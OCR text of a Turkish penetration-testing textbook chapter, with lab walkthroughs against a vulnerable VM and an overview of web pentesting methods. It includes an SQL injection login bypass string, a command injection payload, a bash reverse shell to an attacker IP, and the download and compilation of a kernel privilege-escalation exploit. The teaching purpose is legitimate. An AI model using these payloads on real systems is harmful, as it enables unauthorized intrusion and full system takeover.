Elde edilen erisim sonrasinda sistem tzerinde kullanici yetkilerinizi dogrulayiniz.

Hedef sistemin isletim sistemi ve kernel bilgilerini analiz ederek uygun yerel ayricalik yikseltme (lo-
cal privilege escalation) zafiyetlerini arastiriniz.

Uygun Exploitleri kullanarak sistem Gizerinde root yetkisi elde etmeye ¢alisiniz.

Elde edilen bulgular dogrultusunda sistemin giivenlik durumunu degerlendiriniz ve iyilestirme 6ne-
rilerinde bulununuz.
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1. Adim: Yerel ag Uzerinde aktif olarak galisan cihazlar tespit etmek amaciyla netdiscover komutunu

kullanarak bir tarama gergeklestiriniz (Gorsel 3.37).

root@kali: ~

Dosya Eylemler Diizen Goriinim Yardim

Currently scanning: Finished!
Captured ARP Re
IpP

HUAWEI TECHNOLOGI
CLOUD NETWORK TEC NGAPORE PTE.

Technology Inc.
ndor
chnology Inc.

Gorsel 3.37: Yerel ag tarama sonucu

Test gerceklestirilecek IP adresinin yerel agda bulunan 192.168.1.228 IP adresli cihaz oldugu

2. Adim: Hedef sistem lizerinde galisan servislerin ve bu servislere ait stirim bilgilerinin tespit edilmesi
amaciyla nmap -sV 192.168.1.228 komutunu giriniz ve ¢ikan sonuglari degerlendiriniz (Gorsel 3.38).

tespit edilmistir.

Host is up (
Mot showr

1/tcp open
cp open

. ce detection p
Nmap done: 1 IP add

Gorsel 3.38: Nmap servis ve slirim tarama sonucu

3. Adim: Degerlendirmenizi verilenle karsilastiriniz.

DEGERLENDIRME: Gergeklestirilen tarama sonucunda hedef sistem lizerinde birden fazla kritik servisin
aktif oldugu tespit edilmistir. 22/tcp portunda OpenSSH 3.9p1 strimunin calistig gorilmis olup
bu stirimin oldukca eski olmasi nedeniyle bilinen zafiyetlere acik olma ihtimali tasimaktadir. 80/tcp
ve 443/tcp portlarinda Apache httpd 2.0.52 (CentOS) web sunucusunun calistigi belirlenmis ve bu
stirimin de giincel olmamasi sebebiyle cesitli glivenlik aciklari barindirabilecegi degerlendirilmistir.
Ayrica 111/tcp portunda RPC servisi, 631/tcp portunda CUPS yazici servisi ve 3306/tcp portunda
MySQL veritabani servisi tespit edilmistir. Ozellikle MySQL servisinin disa acik olmasi, yetkisiz erisim
ve veri sizdirma riskini artirmaktadir. RPC, CUPS gibi servisler de ¢cogu senaryoda gereksiz yere acik

SIZMA TESTI @




“ =\ 3.OGRENME BiRiMi

birakildiginda saldir1 ylizeyini genisletmektedir.

Elde edilen bulgular, sistemin hem giincel olmayan yazilimlar kullanmasi hem de gereksiz servisleri disa
acik sekilde barindirmasi nedeniyle ylksek risk altinda oldugunu gostermektedir. Bu durum, sistemin
zafiyet taramalari ve Exploit denemeleri icin uygun bir hedef oldugunu ortaya koymaktadir.

4. Adim: Hedef sistem (izerinde detayl servis, slirlim, isletim sistemi ve ek glvenlik bilgilerini tespit
etmek amaciyla nmap -sS -A -n 192.168.1.228 komutunu kullaniniz (Gorsel 3.39).

ope

ganization/stateOrProvinceNa

Gorsel 3.39: Detayli servis ve slirim bilgisi tarama

5. Adim: Onceki asamalarda gergeklestirilen port ve servis taramalari sonucunda hedef sistem {izerinde
80 ve 443 numarali portlarda web servisinin aktif oldugu tespit edilmistir. Bu dogrultuda ilgili servislerin
icerik ve islevlerinin analiz edilmesi amaciyla hedef IP adresi (http://192.168.1.228) web tarayicisi
Uzerinden giriniz ve sizma testi agisindan degerlendirmesini gerceklestiriniz (Gorsel 3.40).

Z\ Giivenli degil §192.168.1.228

Remote System Administration Login

Username | |

Password | |

| Login |

Gorsel 3.40: Hedef sistemin goriintilenmesi
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6. Adim: Degerlendirmenizi verilenle karsilastiriniz.

DEGERLENDIRME: Tespit edilen bu arayiiz, sistem {zerinde uzaktan yénetim imkani saglayan bir
giris paneli olup potansiyel olarak kimlik dogrulama zafiyetleri (brute-force, default credential, SQL
injection vb.) agisindan degerlendirilebilir. Bu tiir paneller genellikle yonetici erisimi sagladigindan ele
gecirilmesi durumunda sistem lizerinde tam kontrol elde edilmesine olanak taniyabilir. Arayliziin basit
ve korumasiz gériinmesi, glivenlik 6nlemlerinin yetersiz olabilecegine isaret etmektedir. Bu nedenle
ilgili giris paneli tGzerinde kimlik dogrulama testleri ve giris denemeleri gerceklestiriimesi bir sonraki
adim olarak planlanmistir.

7. Adim: Web uygulamasi lizerinde tespit edilen yonetim panelinin kimlik dogrulama mekanizmasini
test etmek amaciyla giris formu tizerinde SQL Injection (SQLi) saldirisi gergeklestiriniz.

8. Adim: Kullanici adi alanina 1’ or ‘1’="1 ifadesini girerek uygulamanin giris dogrulama sirecinde girdi
dogrulamasi (input validation) ve filtreleme mekanizmalarinin zafiyetli olup olmadigini test ediniz
(Gorsel 3.41).

A\ Giivenli degil  192.168.1.228/index.php

Remote System Administration Login

Username 1" or"1'="1

Password —”f |

Gorsel 3.41: SQli testi

m Giris paneli Gzerinde gergeklestirilen SQL Injection denemesi sonucunda kimlik dogrulama
mekanizmasinin basariyla atlatildigi ve yetkisiz erisim saglandigi gdzlemlenmistir. Bu islem
sonrasinda uygulama tarafindan Basic Administrative Web Console aray(izii goriintiilenmis

olup sistem tzerinde yetkili kullanici erisimi elde edilmistir (Gorsel 3.42).

€ 2> C A Givenlidegil 192.168.1.228/index.php

Welcome to the Basic Administrative Web Console

Ping a Machine on the Network: H | || submit |

Gorsel 3.42: Web servisleri zafiyet kesfi

9. Adim: Yonetim paneline erisim saglandiktan sonra panel icerisinde yer alan Ping a Machine on the
Network: fonksiyonunu test etmek icin giris alanina 127.0.0.1 IP adresini girerek sistemin bu girdiyi
naslil isledigini analiz ediniz.
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10. Adim: Gonderilen istegin ardindan hedef sistem tarafindan ICMP paketleriile geri doniis saglandigini
ve ping isleminin basariyla gerceklestirildigini gozlemleyiniz (Gorsel 3.43).

« > C A\ Giivenli degil | 192.168.1.228/pingit.php

127.0.0.1

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.

64 bytes from 127.8.0.1: icmp_seq=0 ttl=64 time=0.024 ms
64 bytes from 127.8.0.1: icmp_seq=1 ttl=64 time=0.825 ms
64 bytes from 127.8.8.1: icmp_seq=2 ttl=64 time=0.821 ms

--- 127.0.8.1 ping statistics ---
3 packets transmitted, 3 received, @% packet loss, time 1999ms
rtt min/avg/max/mdev = 0.0621/0.023/0.025/6.004 ms, pipe 2

Gorsel 3.43: SQLi testi ping islemi

11. Adim: Yonetim panelindeki Ping a Machine on the Network: isleviyle farkli ve manipiile edilmis
girdiler kullanip, test etmeye ve bilgi toplamaya devam ederek ¢ikan sonuglari degerlendiriniz (Gorsel
3.44).

Farkl girdiler denenmesindeki amag, uygulamanin kullanicidan alinan veriyi herhangi bir

m filtreleme veya dogrulama isleminden gegirmeden isletim sistemi seviyesinde galistirip
calistirmadigini tespit etmektir. Bu asama, potansiyel komut enjeksiyonu zafiyetinin
dogrulanmasina yonelik bir glivenlik testi olarak gerceklestirilmistir.

| Welcome to the Basig Administrative Web Console |

‘ Ping a Machine on the Network: H | 127.0.0.1;id || submit | ‘

Gorsel 3.44: Farkh girdiler denenmesi

12. Adim: Degerlendirmenizi verilenle karsilastiriniz.

DEGERLENDIRME: Yapilan testler sonucunda uygulamanin kullanicidan alinan girdileri yeterli dogrulama
ve filtreleme islemlerinden gecirmeden dogrudan sistem komutlarina ilettigi tespit edilmistir. Bu durum,
giris verilerinin temizlenmemesi nedeniyle uygulamanin komut enjeksiyonu zafiyetine ac¢ik oldugunu
gostermektedir.

13. Adim: Tespit edilen komut enjeksiyonu zafiyetinin istismar edilerek hedef sistem lizerinde uzaktan
komut calistirma yeteneginin gelistirilmesi amaciyla nc -nlvp 4444 komutunu ¢alistiriniz (Gorsel 3.45).

m Bu komut, Netcataraci kullanilarak 4444 numarali port (izerinde dinleme (listener) baslatmak
icin kullanilir. Amag, hedef sistemden gelecek ters baglantiyi kabul ederek etkilesimli bir
komut satiri erisimi elde etmektir.

Gorsel 3.45: Netcat baglantisi baglatma
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14. Adim: Netcat ile dinleme islemi baslatildiktan sonra ters baglanti elde etmek amaciyla hedef
uygulamadaki giris alanina 127.0.0.1; bash -i >& /dev/tcp/192.168.1.100/4444 0>&1 komut girdisini
enjekte ediniz (Gorsel 3.46).

m Bu islem, Netcat baglanti istegi gonderilmesinin ardindan uygulanir ve bu girdinin enjekte
edilmesinin ardindan Netcat baglantisi basaril bir sekilde kurulur.

‘ Welcome to the Basic Administrative Web Console |

| Ping a Machine on the Network: | [127.0.0.1; bash -i & /dev/tcp/192 168 || submit | |

Gorsel 3.46: Girdi enjekte edilmesi

15. Adim: Baglanti kurulduktan sonra whoami ile cihazin kim oldugu, cat /etc/*-release ile hangiisletim
sisteminin kullanildigi bilgilerini elde ediniz.

16. Adim: Hedef sistem Uizerinde elde edilen erisim sonrasinda isletim sistemine yonelik yetki yikseltme
zafiyetlerini tespit etmek amaciyla searchsploit CentOS 4.5 komutu ile ilgili isletim sistemi striimiine
ait bilinen Exploitleri arastiriniz ve sonuglari degerlendiriniz (Gorsel 3.47).

Linux

Gorsel 3.47: Exploit arastirma

17. Adim: Degerlendirmenizi verilenle karsilastiriniz.

DEGERLENDIRME: Yapilan inceleme sonucunda Linux Kernel 2.6.x siiriimlerini etkileyen ve yerel
ayricalik yukseltmeye imkan taniyan bir zafiyet tespit edilmis olup bu zafiyete ait Exploit kodunun
9542.c oldugu belirlenmistir. Ardindan searchsploit -m linux_x86/local/9542.c komutu kullanilarak
ilgili Exploit kodu yerel ortama kopyalanmis ve analiz edilmek lizere hazir hale getirilmistir.

18. Adim: Tespit edilen yerel ayricalik yikseltme zafiyetine ait Exploit kodunun hedef sisteme aktariimasi
amaclyla saldirgan makine lzerinde gegici bir web sunucusu kurunuz [Bu kapsamda, mevcut dizin
icerisindeki dosyalari sunmak lizere Python3 kullanarak bir HTTP sunucusu baslatiniz (Gorsel 3.48).].

g HTTP on ©.0.0.0 por ( : N 54/)

ER.1.1 [24/Max : T HTTR/1.1"
: | c HTTP/1.B"

Gorsel 3.48: Sunucu hizmeti baslatma
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19. Adim: Hedef sistem lizerinde nc —nvlp 4444 komutu ve bash script koduyla daha 6nceki adimlarda
elde edilen ters baglantiyi tekrar basarili bir sekilde kurunuz ve yerel ayricalik yiikseltme zafiyetine ait
Exploit kodunun sisteme aktarilmasi amaciyla gegici bir dizin olan /tmp klas6riine gegis yapiniz.

20. Adim: wget http://192.168.1.100:5454/9542.c komutuyla Exploit scriptinin indirilmesini saglayarak
hedef makineye ylklenmesini saglayiniz (Gorsel 3.49).

lis § [ i

connect to |[192.168.1.180] trom (UNKNOWN) |192.168.1
bash: no job con Ll in this shell

bas 08% 1

nnection refused.

HTTP requ
Length: 2

0K

Gorsel 3.49: Exploit yikleme

21. Adim: Yapilan islem sonucunda Exploit kodununun gcc -o 9542 9542.c && ./9542 komutu ile
derlenmesini saglayarak zafiyeti istismar ediniz ve ¢alistirilan whoami komutu ile sistem Uzerinde root
kullanicisi yetkilerinin elde edildigini dogrulayiniz (Gorsel 3.50).

Length: 2

0K

. warnin Line at end ot file
ontrol in this shell
.00% whoami

Gorsel 3.50: Root yetkisi alma

22. Adim: Yapilan test sonucunda degerlendirmenizi yapiniz ve iyilestirme onerilerinde bulununuz.
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23. Adim: Degerlendirmenizi ve iyilestirme 6nerilerinizi verilenle karsilastiriniz.

DEGERLENDIRME: Yapilan ag sizma testi sonucunda hedef sistemin birden fazla giivenlik zafiyeti
icerdigi tespit edilmistir. ilk asamada gerceklestirilen port ve servis taramalarinda sistem (zerinde
eski ve giincel olmayan servislerin disa acik sekilde calistgi belirlenmistir. Ozellikle OpenSSH, Apache,
RPC, CUPS, MySQL gibi servislerin gereksiz veya zayif yapilandiriimis bicimde erisilebilir olmasi, hedef
sistemin saldiri ylizeyini 6nemli dl¢lide genisletmistir. Web servisi Gizerinden yapilan analizlerde uzaktan
yonetim panelinin varhgi tespit edilmis, bu panel izerinde gerceklestirilen testlerde kimlik dogrulama
mekanizmasinin SQL Injection zafiyeti icerdigi gorilmustir. SQL Injection zafiyeti her ne kadar bir web
uygulama ag¢igi1 olsa da yerel ag icerisinde istismar edilerek sistemlere yetkisiz erisim saglanmasina
ve ag glvenliginin ihlal edilmesine neden olabileceginden ag sizma testi kapsaminda énemli bir risk
kabul edilmektedir. Devam eden asamada yonetim paneli icerisindeki ag araclarinin kullanici girdilerini
filtrelemeden isletim sistemi komutlarina ilettigi tespit edilmis ve sistemin komut enjeksiyonu
zafiyetine acik oldugu anlasiimistir. Bu giivenlik acigi kullanilarak hedef sistem Uizerinde uzaktan komut
¢alistirma durumu mimkin hale gelmis, ardindan ters baglanti elde edilerek sistemde distk yetkili
bir kullanici baglaminda kabuk erisimi saglanmistir. Sonraki analizlerde hedef isletim sisteminin eski
sirimde ¢alistigl belirlenmis ve bu striime uygun yerel ayricalik yiikseltme zafiyeti tespit edilmistir.
ilgili Exploitin hedef sistemde derlenip calistiriimasi sonucunda root yetkileri elde edilmistir. Bu durum,
sistemin hem ag katmaninda hem web uygulamasi seviyesinde hem de isletim sistemi givenligi
acisindan ciddi zafiyetler icerdigini gostermektedir. Bu uygulama o6zelinde degerlendirildiginde sizma
testinin basariya ulasmasinda en 6nemli etkenler; gereksiz servislerin acgik olmasi, giincel olmayan
yazihmlarin kullanilmasi, giris verilerinin filtrelenmemesi, gilivenli kodlama ilkelerine uyulmamasi
ve sistem yamalarinin uygulanmamis olmasidir. Sonug olarak hedef sistem Uzerinde kesif, tarama,
bilgi toplama, istismar ve yetki ylikseltme adimlarini iceren tam kapsamli bir saldiri zinciri basariyla
gerceklestirilmis ve sistem lizerinde tam yetkili erisim elde edilmistir.

lyilestirme Onerileri

« Gereksiz servisler (SMB, AJP, Tomcat vb.) kapatilmali veya erisimleri sinirlandiriimalidir (Kritik).
« Web sunucusunda dizin listeleme (directory indexing) 6zelligi devre disi birakilmahdir (Kritik).
» Hassas dosyalar (backup, config, .txt vb.) web erisimine kapatilmahdir (Kritik).

« SMB servisinde anonim erisim (null session) engellenmelidir (Kritik).

« Gucla parola politikalari uygulanmali ve parola tekrar kullanimi dnlenmelidir (Kritik).

« SUID bitine sahip gereksiz uygulamalar kaldiriimali veya kisitlanmahdir (Kritik).

- Apache ve Tomcat gibi servisler glincel siirimlere yikseltilmelidir (Yuksek).

« Kullanicilara verilen sudo yetkileri minimum seviyeye indirilmelidir (Yiksek).

« Sistemler dlzenli olarak zafiyet taramalarindan gecirilmelidir (Orta).

« Ag segmentasyonu uygulanmahdir (Orta).

« IDS/IPS sistemleri devreye alinmahdir (Orta).

» Gereksiz servisler (RPC, CUPS, MySQL, yoénetim panelleri vb.) kapatilmali veya yalnizca yetkili ag seg-

mentlerinden erisilebilir hale getirilmelidir (Kritik).
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» OpenSSH, Apache ve isletim sistemi ¢ekirdegi dahil olmak lzere tiim yazilimlar glincel ve destekle-
nen sirimlere yikseltilmelidir (Kritik).

« Web uygulamasinda SQL Injection zafiyetini 6nlemek amaciyla parametrik sorgular (prepared state-
ments) kullaniimali ve kullanici girdileri glivenli sekilde dogrulanmalidir (Kritik).

» Komut enjeksiyonu riskini ortadan kaldirmak igin kullanici girdileri dogrudan sistem komutlarina ak-
tarilmamali, zorunlu durumlarda siki filtreleme ve glvenli APl kullanimi tercih edilmelidir (Kritik).

« Yonetim panelleri ek kimlik dogrulama mekanizmalari ile korunmali, mimkiinse dis aglara kapatil-
mali ve yalnizca VPN veya belirli IP adresleri tizerinden erisilebilir olmahdir (Kritik).

« Hedef sistem Uzerinde yerel ayricalik ylkseltme zafiyetlerine yol acabilecek eski kernel stirimleri ve
savunmasiz bilesenler derhal glincellenmelidir (Kritik).

« Hedef sistemde derleyici araclarinin (gcc vb.) gereksiz oldugu durumlarda kaldirilmasi veya erisimin
kisitlanmasi degerlendirilmelidir (Yiksek).

« Web sunucusunun ¢alstigi kullanici hesabinin yetkileri en disilk seviyeye indirilmeli ve servisler le-
ast privilege prensibine uygun sekilde yapilandiriimalidir (Yiksek).

« Guvenlik duvari kurallari gozden gegirilerek yalnizca gerekli portlar agilmali, ydonetim ve veritabani
servisleri dogrudan erisime kapatiimalidir (Yiksek).

« Ag segmentasyonu uygulanarak kritik sistemler, yonetim arayizleri ve kullanici aglari birbirinden ay-
rilmalidir (Yiksek).

- IDS/IPS, merkezi loglama ve anomali tespit mekanizmalari devreye alinarak olagan disi baglantilar ve
ters kabuk girisimleri izlenmelidir (Orta).

Sira Sizde ~

Zafiyetli bir sanal makine kullanarak internet Uzerinden erisilebilen web servislerinin yogun
trafik altinda nasil davrandigini degerlendirmek amaciyla dis ag stres (ylk) testi gerceklestiriniz.
Bu kapsamda hedef sistemin erisilebilirligini analiz ediniz, servislerin es zamanl yogun istekler
karsisindaki dayanikliligini gézlemleyiniz ve sistemin hangi noktada performans kaybi yasadigini
belirleyiniz. Test slirecinde elde ettiginiz bulgulari degerlendiriniz ve bu dogrultuda sistemin
dayanikliigini artirmaya yonelik teknik éneriler sununuz.

Degerlendirme: Calismaniz EK-1'de yer alan kontrol listesi kullanilarak degerlendirilecektir.
Calismanizi yaparken degerlendirme olcutlerini dikkate aliniz.
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3.1.2. Web Uygulama Sizma Testi Uygulamalari

Web uygulamalari, kurumlarin kullanicilariyladogrudan etkilesim kurdugu, verialigverisinin gergeklestigi
ve bircok 6nemli slirecin yuratildagi temel platformlar haline gelmistir. E-ticaret sitelerinden bankacilik
hizmetlerine, kurumsal yonetim panellerinden kamu uygulamalarina kadar pek ¢ok alanda kullanilan
bu sistemler sahip oldugu veriler nedeniyle siber saldirganlarin éncelikli hedefleri arasinda yer alir.

Web uygulamalari cogu zaman yazilim gelistirme sirecindeki hatalar, eksik glivenlik kontrolleri veya
yanlis yapilandirmalar nedeniyle ¢esitli zafiyetler barindirabilir. Bu tlr zafiyetler; hassas bilgilerin agiga
¢itkmasina, yetkisiz kullanicilarin sisteme erismesine ve uygulamalarin k6t amacglarla kullanilmasina
neden olabilir. Web uygulama gilivenligi, yalnizca teorik bilgilerle degil gercek diinyaya yakin senaryolar
Uzerinden yapilan test uygulamalariyla saglanabilecek bir strectir.

Web sizma testleri (Web application penetration testing), saldirgan bakis agisi benimsenerek web
uygulamalarindaki glivenlik aciklarinin belirlenmesini amaclayan kontrollii ve planli test calismalarini
ifade eder. Bu testler sayesinde giris kontrollerindeki hatalar, yetkilendirme problemleri, veri sizintisina
yol acabilecek durumlar ve istemci tarafli glivenlik aciklari tespit edilebilir. Boylece kurumlar, olasi bir
saldiri gerceklesmeden dnce gerekli dnlemleri alma sansi yakalar.

Web sizma testleri genellikle kimlik dogrulama, yetkilendirme, veri dogrulama, oturum yonetimi gibi
temel glivenlik bilesenleri Gizerinden yuratalir. Bu kapsamda kullanici giris ekranlari, URL parametreleri,
form alanlari, gcerezler ve HTTP istekleri detayl sekilde incelenir.

Test slrecinde; hedef uygulamanin taninmasi, uygulama yapisinin ¢ikarilmasi, giris noktalarinin
belirlenmesi, zafiyetlerin analiz edilmesi ve uygun durumlarda kontrolll istismar adimlarina yer verilir.
Ozellikle kullanicidan veri alan noktalar, APl yapilari ve oturum yénetim mekanizmalari test siirecinin en
onemli bolumleri arasinda yer alir (Gorsel 3.51).

, =N Bilgi Toplama ve Ayar Yonetimi
_ Q = Q @ Ag haritalamasi, agiklik taramalari, yapil-
= / landirma analiz ve testieri

. Girdi-Cikt1 Alanlarinin Manipiilasyonu

@ Glvenlik kurali zayif form ve URL parametreirini
istismar etme

) Kimlik Denetimi
| Zayif parolalar ve kullanici giris mekanizmalarindaki
aciklari suistimal etme

< Yetkilendirme
[ \

(VY 7@ Yénetici izinlerifrollerini atlayarak yetkisiz islemler yapma

Oturum kimiigi tahmini veya ele gecirilmesi (cookie hijacking) saldirilari

A 7
‘{:‘.’ is Mantig1 Aciklan

I )
*’:-w ? Uygulamanin is akisndaki hatalari, limitleri veya dogrulamalari suistimal etme

Gorsel 3.51: Web uygulama suregleri
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Kullanilan araglar ve yontemler sayesinde web sizma testleri yalnizca mevcut agiklarin tespit edilmesini
saglamaz ayni zamanda glvenli yazilim gelistirme slreclerine katki sunan 6nleyici bir yaklasim ortaya
koyar. Bu sayede kurumlar hem sistem altyapilarini hem de kullanici verilerini daha glivenli hale getirme
firsati elde eder.

Web Uygulamalari Sizma Testlerinde Kullanilan Metodolojiler

Web sizma testi uygulamalari da ag sizma testlerinde oldugu gibi belirli metodolojiler ¢cercevesinde
gerceklestirili. Bu metodolojiler, test slirecinin planli, sistematik ve tekrarlanabilir olmasini saglar.
Bu alanda en yaygin kullanilan yaklasimlardan biri OWASP tarafindan yayimlanan test rehberleridir.
Ozellikle OWASP Testing Guide ve OWASP Top 10, web uygulama giivenligi degerlendirmelerinde
temel referans kaynaklar arasinda yer alir.

OWASP yaklasimina gére web sizma testleri; bilgi toplama, uygulama analizi, kimlik dogrulama testleri,
oturum yonetimi testleri, veri dogrulama kontrolleri, istemci tarafli glivenlik testleri gibi asamalar
Uzerinden gerceklestirilir. Bu metodoloji, web uygulamalarinda en sik karsilasilan givenlik agiklarinin
sistematik bir sekilde tespit edilmesini saglar.

Web Uygulamalarn Sizma Testlerinde Test Edilen Agikliklar ve Saldirilar

Web uygulama sizma testlerinde amacg yalnizca uygulamaya yetkisiz erisim saglamak degil bu erisimin
hangi glivenlik zafiyetlerinden kaynaklandigini ortaya koymaktir. Bu sirecte hem uygulama katmanindaki
yazilimsal hatalar hem de kimlik dogrulama, yetkilendirme ve veriisleme mekanizmalarindaki eksiklikler
detayli olarak incelenir.

Web uygulamalari; kullanici girdisi alan yapilari, oturum yonetimi siiregleri ve veri isleme mantiklari
nedeniyle farkli saldiri tirlerine agik olabilir. Bu nedenle test siirecinde uygulamanin hem istemci
(client-side) hem de sunucu (server-side) tarafindaki davranislari birlikte degerlendirilir. Test edilen
baslica zafiyet tirleri ve bu zafiyetlere karsi gerceklestirilen saldirilar Tablo 3.3’te gosterilmektedir.

Tablo 3.3: Web Uygulama Sizma Testlerinde Agikliklar, Saldirilar ve Saldiri Turleri

Agikhik Tard Test Edilen Durumlar Uygulanan Saldirilar | Saldiri Tiirii (Kategori)

.. . Filtrelenmemis kullanici SQL Injection, o
Giris Dogrulama (Input | . o Enjeksiyon saldirilari
S R .| girdileri, form ve URL Command Injection, .
Validation) Zafiyetleri . o (Injection attacks)
parametreleri LDAP Injection, XSS
ZayIf parola politikalari, Kimlik dogrulama
L . Brute-force,
Kimlik Dogrulama brute-force korumasinin . saldirilar
. . password spraying, L
Zafiyetleri olmamasi, varsayilan . . (Authentication
credential stuffing
hesaplar attacks)
Yetkilendirme Kullanici rollerinin yanlis | IDOR exploit, .
L. o . Yetki asimi
(Authorization) tanimlanmasi, IDOR, privilege escalation, L
L L . (Authorization bypass)
Hatalan erisim kontrol eksiklikleri | forced browsing
V. Tahmin edilebilir session . o
Oturum Yoénetimi Session hijacking,
i ID, HttpOnly/Secure . L Oturum saldirilari
(Session Management) A session fixation, .
i . eksikligi, uzun oturum . (Session attacks)
Zafiyetleri siiresi cookie theft
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Agikhik Tard Test Edilen Durumlar Uygulanan Saldirilar | Saldiri Tiirii (Kategori)

XSS (Cross-Site

Ciktilarin encode
edilmemesi, kullanici

Reflected XSS, Stored

istemci tarafli
saldirilar (Client-side

olmamasi

Scripting) Zafiyetleri o . | XSS, DOM-based XSS
girdisinin filtrelenmemesi attacks)
CSRF token eksikligi, islem | CSRF saldirilari . _—
. . o . . Istek sahteciligi
CSRF Zafiyetleri dogrulama mekanizmasi | (yetkisiz islem

yaptirma)

(Request forgery)

Dosya isleme

Dosya yikleme filtre
eksikligi, include

Web shell upload,
LFI, RFI, directory

Dosya tabanli
saldirilar (File-based

Giivensiz APl Kullanimi

Yetkisiz API erisimi, token

dogrulama eksikligi, rate
limit olmamasi

Zafiyetleri fonksiyonlarinin
. traversal attacks/RCE)
kontrolstiz kullanimi

Bilgi Sizdirma Hata mesajlari, debug Directory listing, L

. - . Bilgi toplama
(Information ciktilari, agik dizinler, sensitive data .

. (Information leakage)

Disclosure) kaynak kod sizintisi exposure

API abuse, token
hijacking, data
extraction

API saldirilari

Giivenlik Yanhs
Yapilandirmalari

Varsayilan ayarlar, agik
debug modlari, eksik
glvenlik bashklar

Security
misconfiguration
exploit

Yapilandirma
zafiyetleri

is Mantig1 (Business
Logic) Hatalan

is akisi hatalari, fiyat
manipulasyonu,
dogrulama eksiklikleri

Logic abuse, islem
manipilasyonu

is mantigi saldirilari

Rate Limiting Eksikligi

Sinirsiz istek gonderimi,
koruma mekanizmasi
olmamasi

Brute-force, DoS,
otomasyon saldirilari

Hizmet kotlye
kullanimi (Abuse/DoS)

Ucretsiz veya agik kaynak web uygulama sizma testi araglari, giivenlik testlerinin maliyetsiz ve erisilebilir

bir sekilde gerceklestiriimesini saglar. Bu araglar; bilgi toplama, Exploit gelistirme ve dogrulama, zafiyet
tarama gibi farkl asamalarda kullanilabilir (Gorsel 3.52). Acik kaynak olmalari sayesinde hem egitim
hem de gercek diinya senaryolarinda yaygin olarak tercih edilir. Ayrica topluluk destegi ile stirekli
gincellenmeleri, bu araglari sizma testlerinde islevsel hale getirir.

5 Filter

High Medium

Issue type

Lowe Infa | Certain Firm

Host

Tentative

Path

i Suspicious input transformation (reflected) Jurl-sharten
) SMTP header injection
) Serialized object in HTTP message

¥ Cross-site scripting (OM-based)

http:/finsecure-bank.com
http:/linsecure-website.com Jeontact-us
http:/finsecure-bank.com blog
https:/finsecure-bank.com !

I XML external entity injection https:/ivulnerable-website.com Iproduct/stock
@ External service interaction (HTTP) https:/finsecure-website.com Iproduct
O Web cache poisoning http:/finsecure-bank.com Jcontact-us

@ Server-side template injection
@ salinjection

http:/finsecure-bank.com Juser-homepage
https:/fvulnerable-website.com !

Gorsel 3.52: Otomatik web zafiyet tarama araci
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Web uygulama sizma testlerinin temelinde istemci (client), sunucu (web server) ve arka ug servisler
(API1) arasindaki veri akisini dogru anlamak yer alir (Gorsel 3.53). Bir saldirgan, bu li¢ yapi arasindaki
iletisimi analiz ederek hangi noktada veri manipilasyonu yapilabilecegini, hangi kontrollerin eksik
oldugunu ve sistemin hangi kosullarda beklenmeyen tepkiler verdigini tespit etmeye calisir.

| —
—
—
r—
HTTP Request a API Request

Ap——
I |1 7p Res | APIR .
ponse " API
j— “

Client Web Server

Gercek dinyadaki web saldirilarinin buydk bir
bolimi, gonderilen istegin (request) manipile
edilmesi ve sunucudan dénen cevabin (response)
dikkatli bir sekilde incelenmesi ile gerceklestirilir

(Gorsel 3.54). Yapilan arastirmalar, birgok gtivenlik “
aciginin bu request-response etkilesimi Gzerinden ' : 10101001
ortaya cikarildigini gosterir. Bu nedenle istegi V7% NV :
degistirme, cevabi okuma ve aradaki farklari analiz A RESPOHS"- v
etme siireci, sizma testlerinin temelini olusturur. Fark, Anali‘ti‘-

Gorsel 3.54: Request ve response analizi

Web uygulama sizma testlerinde basarili olmanin temelinde yapilan her istegin ve alinan her cevabin
bilingli bir sekilde sorgulanmasi yer alir. Bir sizma testi uzmani yalnizca arag kullanmaz. Ayni zamanda
sistemin verdigi tepkileri anlamlandirarak normal ve anormal davranislari ayirt eder. Bu nedenle test
slrecinde génderilen verinin, donen cevabin ve aradaki degisimlerin sistematik olarak analiz edilmesi,
givenlik aciklarinin ortaya ¢ikarilmasinda 6nemli bir faktérdir (Sekil 3.1).

Sekil 3.1: istek ve cevap analizi
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4. Uygulama

Zafiyetli bir web uygulamasinin kimlik dogrulama mekanizmasinin glivenligini degerlendirmek amaciyla
sizma testi gerceklestirmeniz istenmektedir. Bu kapsamda hedef sistem lizerinde ¢alisan web servislerini
tespit ediniz, uygulama araylzin{ analiz ederek kullanicidan veri alan giris noktalarini belirleyiniz
ve istemci-sunucu trafigini incelemek amaciyla bir proxy araci kullaniniz. Elde ettiginiz login istegi
Uzerinde parametre manipliilasyonu yaparak SQL Injection zafiyetini test ediniz ve kimlik dogrulama
mekanizmasinin bypass edilip edilemedigini degerlendiriniz. Test sonucunda elde ettiginiz bulgulari,
sistem Uzerindeki etkilerini ve alinmasi gereken glvenlik 6nlemlerini degerlendiriniz.

1. Adim: Yerel ag Uzerinde aktif olarak galisan cihazlar tespit etmek amaciyla netdiscover komutunu
kullanarak bir tarama gergeklestiriniz (Gorsel 3.55).

=

Yapilan taramalar ve degerlendirme sonucunda yerel agda bulunan 192.168.1.230 IP
adresine sahip hedef sistem (izerinde sizma testi islemleri gerceklestirilecektir.

root@kali: ~
Dosya Eylemler Dizen Goriiniim Yardim

Currently scanning: 192.168.15.0/16 £ Y i Unique Hosts
1@ Captured ARP Req/Rep packets, from 18 hosts. E] ize: 600
At MAC Address Count = e ame

HUAWEI TECHNOLOGIES CO.,LTD
Unknown vendor
CLOUD NETWORK TECHNOLOGY SINGAPORE PTE.

known vendor

Technology Inc.
GIGA-BYTE TECHNOLOGY CO.,LTD.
Unknown vendor
in vendor

B:b7

L S S S S S
L e S S S S S S o

Gorsel 3.55: Yerel ag aktif cihaz tarama sonuglari

2. Adim: 192.168.1.230 IP adresine tarayici (izerinden erisim saglanmaya ¢alisildiginda herhangi bir
web araytzine ulasilamamistir. Bu durum, ilgili servisin varsayilan HTTP/HTTPS portlari disinda farkli
bir port Gzerinden yayin yapiyor olabilecegini diisiindiirmektedir. Bu ihtimali degerlendirmek amaciyla
hedef sistem Uzerinde nmap -sV 192.168.1.230 komutu ile servis ve versiyon taramasi gerceklestirerek
¢ikan sonuglari degerlendiriniz (Gorsel 3.56).

9s

8 _closed ten no
ATE 5 CE

submit the following fingerprints at https i-bin/submi

Gorsel 3.56: Servis ve versiyon taramasinin sonuglarinin degerlendirilmesi
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3. Adim: Degerlendirmenizi verilenle karsilastiriniz.

